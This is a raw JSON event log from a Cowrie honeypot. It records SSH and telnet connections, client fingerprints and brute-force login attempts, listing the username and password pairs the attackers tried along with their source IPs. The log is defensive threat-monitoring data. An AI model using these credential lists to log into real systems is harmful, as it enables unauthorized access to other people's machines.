{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2014@1","message":"login attempt [root/unitedstates2014@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:20.428260Z","src_ip":"118.69.226.76","session":"a737cd898a46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:21.667171Z","src_ip":"118.69.226.76","session":"a737cd898a46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":44572,"dst_ip":"10.17.0.5","dst_port":22,"session":"23abdc366ba0","protocol":"ssh","message":"New connection: 103.149.28.157:44572 (10.17.0.5:22) [session: 23abdc366ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:22.891627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:22.894913Z","src_ip":"103.149.28.157","session":"23abdc366ba0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:23.142759Z","src_ip":"103.149.28.157","session":"23abdc366ba0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sixers","message":"login attempt [root/sixers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:23.884027Z","src_ip":"103.149.28.157","session":"23abdc366ba0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:25.132523Z","src_ip":"103.149.28.157","session":"23abdc366ba0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":7494,"dst_ip":"159.203.135.109","dst_port":22,"session":"81954c061381","protocol":"ssh","message":"New connection: 38.93.206.2:7494 (159.203.135.109:22) [session: 81954c061381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:25.231895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:25.235822Z","src_ip":"38.93.206.2","session":"81954c061381","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:25.293195Z","src_ip":"38.93.206.2","session":"81954c061381","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"septembe","message":"login attempt [root/septembe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:25.455950Z","src_ip":"38.93.206.2","session":"81954c061381","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:26.508507Z","src_ip":"38.93.206.2","session":"81954c061381","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00908875465393,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:34.981188Z","src_ip":"137.184.5.188","session":"dedb55f1c860","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.24.146","src_port":43590,"dst_ip":"10.17.0.5","dst_port":22,"session":"190d28462ff6","protocol":"ssh","message":"New connection: 150.95.24.146:43590 (10.17.0.5:22) [session: 190d28462ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:50.273790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:50.280123Z","src_ip":"150.95.24.146","session":"190d28462ff6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:50.558576Z","src_ip":"150.95.24.146","session":"190d28462ff6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":42776,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d954e34f9a8","protocol":"ssh","message":"New connection: 91.92.40.176:42776 (10.17.0.5:22) [session: 5d954e34f9a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:50.805575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:50.809508Z","src_ip":"91.92.40.176","session":"5d954e34f9a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:50.890740Z","src_ip":"91.92.40.176","session":"5d954e34f9a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"MySql123","message":"login attempt [mysql/MySql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:51.138746Z","src_ip":"91.92.40.176","session":"5d954e34f9a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2014@#","message":"login attempt [root/unitedstates2014@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:51.396659Z","src_ip":"150.95.24.146","session":"190d28462ff6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:52.221621Z","src_ip":"91.92.40.176","session":"5d954e34f9a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:52.676854Z","src_ip":"150.95.24.146","session":"190d28462ff6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.50","src_port":61384,"dst_ip":"10.17.0.5","dst_port":22,"session":"9afad8a244d5","protocol":"ssh","message":"New connection: 45.156.87.50:61384 (10.17.0.5:22) [session: 9afad8a244d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:59.629575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.4","message":"Remote SSH version: SSH-2.0-libssh_0.11.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:59.633598Z","src_ip":"45.156.87.50","session":"9afad8a244d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:59.719872Z","src_ip":"45.156.87.50","session":"9afad8a244d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345678","message":"login attempt [admin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:00.116434Z","src_ip":"45.156.87.50","session":"9afad8a244d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:01.211699Z","src_ip":"45.156.87.50","session":"9afad8a244d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":30572,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f576e69cc65","protocol":"ssh","message":"New connection: 194.59.206.2:30572 (10.17.0.5:22) [session: 2f576e69cc65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:20.491130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:20.494052Z","src_ip":"194.59.206.2","session":"2f576e69cc65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:20.583711Z","src_ip":"194.59.206.2","session":"2f576e69cc65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:20.676849Z","src_ip":"194.59.206.2","session":"2f576e69cc65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":50764,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b7a9576bc23","protocol":"ssh","message":"New connection: 143.20.185.207:50764 (159.203.135.109:22) [session: 1b7a9576bc23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:41.364264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:41.368325Z","src_ip":"143.20.185.207","session":"1b7a9576bc23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:41.487204Z","src_ip":"143.20.185.207","session":"1b7a9576bc23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefined4VCPU8GBAMD","message":"login attempt [root/undefined4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:41.872086Z","src_ip":"143.20.185.207","session":"1b7a9576bc23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:42.998841Z","src_ip":"143.20.185.207","session":"1b7a9576bc23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36956,"dst_ip":"159.203.135.109","dst_port":23,"session":"15ef9bbaf5b8","protocol":"telnet","message":"New connection: 170.64.224.25:36956 (159.203.135.109:23) [session: 15ef9bbaf5b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:45.590592Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.176.205.111","src_port":35858,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc17de9fe579","protocol":"ssh","message":"New connection: 74.176.205.111:35858 (10.17.0.5:22) [session: bc17de9fe579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:49.738193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:49.741241Z","src_ip":"74.176.205.111","session":"bc17de9fe579","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:49.908422Z","src_ip":"74.176.205.111","session":"bc17de9fe579","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2013","message":"login attempt [root/unitedstates2013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:50.412714Z","src_ip":"74.176.205.111","session":"bc17de9fe579","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.96.178.216","src_port":45634,"dst_ip":"10.17.0.5","dst_port":22,"session":"1630e14c056f","protocol":"ssh","message":"New connection: 38.96.178.216:45634 (10.17.0.5:22) [session: 1630e14c056f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:13:50.827871Z"}
